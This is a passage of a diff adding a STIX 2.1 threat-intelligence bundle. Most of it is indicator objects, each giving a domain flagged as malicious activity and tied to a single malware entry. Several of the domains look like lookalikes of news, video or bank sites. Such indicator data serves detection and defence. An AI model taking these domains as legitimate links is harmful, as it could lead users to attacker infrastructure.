"2026-02-17T19:39:51.956281Z", + "modified": "2026-02-17T19:39:51.956281Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amazing.lab']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.956281Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac28bff9-4c56-40df-acb2-d553dca66336", + "created": "2026-02-17T19:39:51.956572Z", + "modified": "2026-02-17T19:39:51.956572Z", + "relationship_type": "indicates", + "source_ref": "indicator--c8f40796-3a30-434b-9448-2a29d94cccf4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--49131086-7a41-4784-8f4a-7951e1680890", + "created": "2026-02-17T19:39:51.956651Z", + "modified": "2026-02-17T19:39:51.956651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bank-alahly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.956651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c896e054-3219-4cbc-8863-3a7001dce918", + "created": "2026-02-17T19:39:51.957033Z", + "modified": "2026-02-17T19:39:51.957033Z", + "relationship_type": "indicates", + "source_ref": "indicator--49131086-7a41-4784-8f4a-7951e1680890", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d3de7800-678f-4c72-bdd7-48ce69eede7c", + "created": "2026-02-17T19:39:51.957116Z", + "modified": "2026-02-17T19:39:51.957116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ulstur.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.957116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7d430ca-8ca0-446a-abf1-e50efc7695ee", + "created": "2026-02-17T19:39:51.957429Z", + "modified": "2026-02-17T19:39:51.957429Z", + "relationship_type": "indicates", + "source_ref": "indicator--d3de7800-678f-4c72-bdd7-48ce69eede7c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c896238d-9b6e-428d-976b-cf6c72c75b6e", + "created": "2026-02-17T19:39:51.957508Z", + "modified": "2026-02-17T19:39:51.957508Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nur-news.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.957508Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86729120-aa1e-4d11-95f3-28655ee90033", + "created": "2026-02-17T19:39:51.957816Z", + "modified": "2026-02-17T19:39:51.957816Z", + "relationship_type": "indicates", + "source_ref": "indicator--c896238d-9b6e-428d-976b-cf6c72c75b6e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43f4da78-2279-4cb4-98b0-e66f6a2a0f7a", + "created": "2026-02-17T19:39:51.957894Z", + "modified": "2026-02-17T19:39:51.957894Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rozavetrovv.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.957894Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a104973c-ecc4-4ffd-a9d4-6cc8ed5c0694", + "created": "2026-02-17T19:39:51.958212Z", + "modified": "2026-02-17T19:39:51.958212Z", + "relationship_type": "indicates", + "source_ref": "indicator--43f4da78-2279-4cb4-98b0-e66f6a2a0f7a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a3328cb-67f2-4f55-bf12-4f5cd5dbc18b", + "created": "2026-02-17T19:39:51.958291Z", + "modified": "2026-02-17T19:39:51.958291Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pelovkin.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.958291Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37555468-ab72-4784-8308-6b72d3d95bd1", + "created": "2026-02-17T19:39:51.9586Z", + "modified": "2026-02-17T19:39:51.9586Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a3328cb-67f2-4f55-bf12-4f5cd5dbc18b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a8e938b-c147-4304-998d-cc093247749d", + "created": "2026-02-17T19:39:51.958676Z", + "modified": "2026-02-17T19:39:51.958676Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unitei.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.958676Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83c22357-296c-478f-9874-0d0b041cbe14", + "created": "2026-02-17T19:39:51.95898Z", + "modified": "2026-02-17T19:39:51.95898Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a8e938b-c147-4304-998d-cc093247749d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5583e1e-479f-4c2c-80f6-6c73f7679585", + "created": "2026-02-17T19:39:51.959057Z", + "modified": "2026-02-17T19:39:51.959057Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinyurl.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.959057Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--defa2930-ea32-448a-8a3c-8571d4ff2d6b", + "created": "2026-02-17T19:39:51.959367Z", + "modified": "2026-02-17T19:39:51.959367Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5583e1e-479f-4c2c-80f6-6c73f7679585", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23679389-e763-48b6-a11b-8d281daf40fc", + "created": "2026-02-17T19:39:51.959445Z", + "modified": "2026-02-17T19:39:51.959445Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redeitt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.959445Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9038606-718a-499c-a124-c4588aadcc1b", + "created": "2026-02-17T19:39:51.959754Z", + "modified": "2026-02-17T19:39:51.959754Z", + "relationship_type": "indicates", + "source_ref": "indicator--23679389-e763-48b6-a11b-8d281daf40fc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dad3acf0-266d-478b-8dba-b57c1fa1b07a", + "created": "2026-02-17T19:39:51.959831Z", + "modified": "2026-02-17T19:39:51.959831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='culniks.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.959831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be5001a8-29b7-4f39-87a5-309c498edf86", + "created": "2026-02-17T19:39:51.96014Z", + "modified": "2026-02-17T19:39:51.96014Z", + "relationship_type": "indicates", + "source_ref": "indicator--dad3acf0-266d-478b-8dba-b57c1fa1b07a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bfbd57d9-7a02-4eb6-a156-99e87e9b09ca", + "created": "2026-02-17T19:39:51.960217Z", + "modified": "2026-02-17T19:39:51.960217Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='inservices.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.960217Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af3dcb29-33cf-4501-8efc-df553a8cc0fa", + "created": "2026-02-17T19:39:51.960588Z", + "modified": "2026-02-17T19:39:51.960588Z", + "relationship_type": "indicates", + "source_ref": "indicator--bfbd57d9-7a02-4eb6-a156-99e87e9b09ca", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b5008f8e-aa71-4d2c-9d65-99447bc52b26", + "created": "2026-02-17T19:39:51.960665Z", + "modified": "2026-02-17T19:39:51.960665Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitshort.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.960665Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37a6f2ec-f850-4153-9080-f91d839c20b0", + "created": "2026-02-17T19:39:51.960966Z", + "modified": "2026-02-17T19:39:51.960966Z", + "relationship_type": "indicates", + "source_ref": "indicator--b5008f8e-aa71-4d2c-9d65-99447bc52b26", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cdf814ae-25d8-47cc-881e-28dd4649ff89", + "created": "2026-02-17T19:39:51.961041Z", + "modified": "2026-02-17T19:39:51.961041Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='synctimestamp.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.961041Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--90af3686-8217-4bc3-8971-bffebb9996e8", + "created": "2026-02-17T19:39:51.961342Z", + "modified": "2026-02-17T19:39:51.961342Z", + "relationship_type": "indicates", + "source_ref": "indicator--cdf814ae-25d8-47cc-881e-28dd4649ff89", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d1ffe58-c433-4c04-80bb-1cd0f85a3452", + "created": "2026-02-17T19:39:51.961417Z", + "modified": "2026-02-17T19:39:51.961417Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iosmnbg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.961417Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--350c6140-7535-4cae-896b-8f4457dbed81", + "created": "2026-02-17T19:39:51.961713Z", + "modified": "2026-02-17T19:39:51.961713Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d1ffe58-c433-4c04-80bb-1cd0f85a3452", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ed53e94-04c3-4814-b03e-a43f6c566c88", + "created": "2026-02-17T19:39:51.961789Z", + "modified": "2026-02-17T19:39:51.961789Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='url-tiny.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.961789Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bba4e44c-9900-4ee1-8a0b-07a373dfcc89", + "created": "2026-02-17T19:39:51.962097Z", + "modified": "2026-02-17T19:39:51.962097Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ed53e94-04c3-4814-b03e-a43f6c566c88", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14643ef0-5685-4df0-8046-45241db81d72", + "created": "2026-02-17T19:39:51.962173Z", + "modified": "2026-02-17T19:39:51.962173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mada.sahia-mijoro.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.962173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ff6f5177-5150-42db-9c11-6c162ae3f878", + "created": "2026-02-17T19:39:51.962483Z", + "modified": "2026-02-17T19:39:51.962483Z", + "relationship_type": "indicates", + "source_ref": "indicator--14643ef0-5685-4df0-8046-45241db81d72", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e389ffa-43ab-443d-b358-b623628c2903", + "created": "2026-02-17T19:39:51.962558Z", + "modified": "2026-02-17T19:39:51.962558Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.962558Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5014b3d-8f13-4643-ac26-8837d9c94aaf", + "created": "2026-02-17T19:39:51.962844Z", + "modified": "2026-02-17T19:39:51.962844Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e389ffa-43ab-443d-b358-b623628c2903", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99b650a6-8fd6-461c-be47-f4651d246c6c", + "created": "2026-02-17T19:39:51.962915Z", + "modified": "2026-02-17T19:39:51.962915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='actumali.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.962915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86ea531f-96f8-4687-9185-ae1088f7c1ef", + "created": "2026-02-17T19:39:51.963203Z", + "modified": "2026-02-17T19:39:51.963203Z", + "relationship_type": "indicates", + "source_ref": "indicator--99b650a6-8fd6-461c-be47-f4651d246c6c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e206fd58-860e-4648-ac1e-a9bf19b8ea89", + "created": "2026-02-17T19:39:51.963275Z", + "modified": "2026-02-17T19:39:51.963275Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='live24.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.963275Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba838d11-65b2-4929-bfbf-ed6a14967b00", + "created": "2026-02-17T19:39:51.963567Z", + "modified": "2026-02-17T19:39:51.963567Z", + "relationship_type": "indicates", + "source_ref": "indicator--e206fd58-860e-4648-ac1e-a9bf19b8ea89", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eea65e9a-fbdb-407d-8517-2d08a677ce9f", + "created": "2026-02-17T19:39:51.963642Z", + "modified": "2026-02-17T19:39:51.963642Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nm-weather.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.963642Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cadd830a-2b28-4f71-8a76-767de928c061", + "created": "2026-02-17T19:39:51.964186Z", + "modified": "2026-02-17T19:39:51.964186Z", + "relationship_type": "indicates", + "source_ref": "indicator--eea65e9a-fbdb-407d-8517-2d08a677ce9f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ccbef81a-a893-4c68-898f-c6717ca5d993", + "created": "2026-02-17T19:39:51.964264Z", + "modified": "2026-02-17T19:39:51.964264Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pasteposta.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.964264Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b4e7a1ed-0757-48a5-bdc9-018927eb833b", + "created": "2026-02-17T19:39:51.964579Z", + "modified": "2026-02-17T19:39:51.964579Z", + "relationship_type": "indicates", + "source_ref": "indicator--ccbef81a-a893-4c68-898f-c6717ca5d993", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--491cc880-f1f4-40bd-8ad9-2f74bb6d83ee", + "created": "2026-02-17T19:39:51.964664Z", + "modified": "2026-02-17T19:39:51.964664Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bityl.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.964664Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a89941e1-e8d9-4414-9825-fc2d758f8190", + "created": "2026-02-17T19:39:51.964972Z", + "modified": "2026-02-17T19:39:51.964972Z", + "relationship_type": "indicates", + "source_ref": "indicator--491cc880-f1f4-40bd-8ad9-2f74bb6d83ee", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--720ef7df-ae2c-412a-8cc1-b639700d2e5c", + "created": "2026-02-17T19:39:51.965052Z", + "modified": "2026-02-17T19:39:51.965052Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='businesnews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.965052Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3f51cc8-79b1-48c7-ada7-59eeb94966a6", + "created": "2026-02-17T19:39:51.965369Z", + "modified": "2026-02-17T19:39:51.965369Z", + "relationship_type": "indicates", + "source_ref": "indicator--720ef7df-ae2c-412a-8cc1-b639700d2e5c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--afdf78df-fa0e-4980-9308-c773e04ce62d", + "created": "2026-02-17T19:39:51.965449Z", + "modified": "2026-02-17T19:39:51.965449Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onlineservices.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.965449Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--02bd267c-72dc-4887-aaa8-2b48b247ac7c", + "created": "2026-02-17T19:39:51.965768Z", + "modified": "2026-02-17T19:39:51.965768Z", + "relationship_type": "indicates", + "source_ref": "indicator--afdf78df-fa0e-4980-9308-c773e04ce62d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2635507-3607-47f3-8b9d-50299f8c0f67", + "created": "2026-02-17T19:39:51.965846Z", + "modified": "2026-02-17T19:39:51.965846Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newsreuter.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.965846Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc032141-f95e-46be-b6a4-b4a41439c50a", + "created": "2026-02-17T19:39:51.966155Z", + "modified": "2026-02-17T19:39:51.966155Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2635507-3607-47f3-8b9d-50299f8c0f67", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--61e9fca1-095c-4163-a986-b368414a56ba", + "created": "2026-02-17T19:39:51.966233Z", + "modified": "2026-02-17T19:39:51.966233Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canyouc.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.966233Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c741b8e8-00a6-428e-ac85-2762653f25fc", + "created": "2026-02-17T19:39:51.966538Z", + "modified": "2026-02-17T19:39:51.966538Z", + "relationship_type": "indicates", + "source_ref": "indicator--61e9fca1-095c-4163-a986-b368414a56ba", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0fac131e-afd8-4497-81ee-a10491eb851b", + "created": "2026-02-17T19:39:51.966615Z", + "modified": "2026-02-17T19:39:51.966615Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kejoranews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.966615Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--821d25af-3487-462d-88d6-d75d58ff9b9f", + "created": "2026-02-17T19:39:51.966922Z", + "modified": "2026-02-17T19:39:51.966922Z", + "relationship_type": "indicates", + "source_ref": "indicator--0fac131e-afd8-4497-81ee-a10491eb851b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--341bc131-1522-4213-8cfc-aee16efaff1f", + "created": "2026-02-17T19:39:51.966998Z", + "modified": "2026-02-17T19:39:51.966998Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtub.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.966998Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93b3ef36-d715-4ed2-820c-f2f3e7de124c", + "created": "2026-02-17T19:39:51.967305Z", + "modified": "2026-02-17T19:39:51.967305Z", + "relationship_type": "indicates", + "source_ref": "indicator--341bc131-1522-4213-8cfc-aee16efaff1f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07fdd874-1106-444f-9bdc-bc531142f847", + "created": "2026-02-17T19:39:51.967383Z", + "modified": "2026-02-17T19:39:51.967383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='liveco.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.967383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0666ed09-d266-432d-a2b6-cf13e8f3497c", + "created": "2026-02-17T19:39:51.967696Z", + "modified": "2026-02-17T19:39:51.967696Z", + "relationship_type": "indicates", + "source_ref": "indicator--07fdd874-1106-444f-9bdc-bc531142f847", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3bad8cd1-5524-4a04-b847-c0e229c42e57", + "created": "2026-02-17T19:39:51.967773Z", + "modified": "2026-02-17T19:39:51.967773Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ladiesclubhouse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.967773Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--02b667b0-99ae-47cc-937a-48c3c1bf3997", + "created": "2026-02-17T19:39:51.96816Z", + "modified": "2026-02-17T19:39:51.96816Z", + "relationship_type": "indicates", + "source_ref": "indicator--3bad8cd1-5524-4a04-b847-c0e229c42e57", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c26bd9b-b8e3-4e55-8f88-ffe4d078c592", + "created": "2026-02-17T19:39:51.968241Z", + "modified": "2026-02-17T19:39:51.968241Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='proupload.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.968241Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--53d45a56-7dee-4334-ae20-13c1396dc7f4", + "created": "2026-02-17T19:39:51.968557Z", + "modified": "2026-02-17T19:39:51.968557Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c26bd9b-b8e3-4e55-8f88-ffe4d078c592", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22d1eb56-2c3d-4f5a-aa7e-06c8f5201850", + "created": "2026-02-17T19:39:51.968635Z", + "modified": "2026-02-17T19:39:51.968635Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dragonair.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.968635Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52912946-5c92-4811-ac99-030ea5a2f15d", + "created": "2026-02-17T19:39:51.968946Z", + "modified": "2026-02-17T19:39:51.968946Z", + "relationship_type": "indicates", + "source_ref": "indicator--22d1eb56-2c3d-4f5a-aa7e-06c8f5201850", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a38c01c-92af-4a8c-98aa-f5c1090e55a0", + "created": "2026-02-17T19:39:51.969024Z", + "modified": "2026-02-17T19:39:51.969024Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mb-ph.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.969024Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03c07062-91d4-4fef-850e-7585960f9663", + "created": "2026-02-17T19:39:51.96933Z", + "modified": "2026-02-17T19:39:51.96933Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a38c01c-92af-4a8c-98aa-f5c1090e55a0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3e3aec00-50d8-4150-8555-263fffe0afd3", + "created": "2026-02-17T19:39:51.969406Z", + "modified": "2026-02-17T19:39:51.969406Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortxyz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.969406Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--917dbe28-8686-4c5e-bf9d-c8f19702ba20", + "created": "2026-02-17T19:39:51.96971Z", + "modified": "2026-02-17T19:39:51.96971Z", + "relationship_type": "indicates", + "source_ref": "indicator--3e3aec00-50d8-4150-8555-263fffe0afd3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2657205c-fbe7-4ec6-ab90-cadcf58ddd57", + "created": "2026-02-17T19:39:51.969788Z", + "modified": "2026-02-17T19:39:51.969788Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wtc3333.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.969788Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c92a3aa2-b0c6-4156-a9a6-d88a721d09fc", + "created": "2026-02-17T19:39:51.970097Z", + "modified": "2026-02-17T19:39:51.970097Z", + "relationship_type": "indicates", + "source_ref": "indicator--2657205c-fbe7-4ec6-ab90-cadcf58ddd57", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc7ed01c-0fda-4b4b-a819-2c448ee70a4f", + "created": "2026-02-17T19:39:51.970176Z", + "modified": "2026-02-17T19:39:51.970176Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='android-apps.tech']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.970176Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b91874cb-fd23-4d8e-9673-6517a8bfaf5a", + "created": "2026-02-17T19:39:51.970491Z", + "modified": "2026-02-17T19:39:51.970491Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc7ed01c-0fda-4b4b-a819-2c448ee70a4f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9ce48e6-6cf1-4f94-8e21-3be482c64d03", + "created": "2026-02-17T19:39:51.970566Z", + "modified": "2026-02-17T19:39:51.970566Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fbc8213450838f7ae251d4519c195138.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.970566Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c51b247b-b0e3-46df-ae4d-8f1dc800a0e7", + "created": "2026-02-17T19:39:51.970893Z", + "modified": "2026-02-17T19:39:51.970893Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9ce48e6-6cf1-4f94-8e21-3be482c64d03", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8046495c-cc9e-4d85-ab11-d106675c6b46", + "created": "2026-02-17T19:39:51.970971Z", + "modified": "2026-02-17T19:39:51.970971Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shop-collect.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.970971Z" + }, + { + "type": "relationship", + 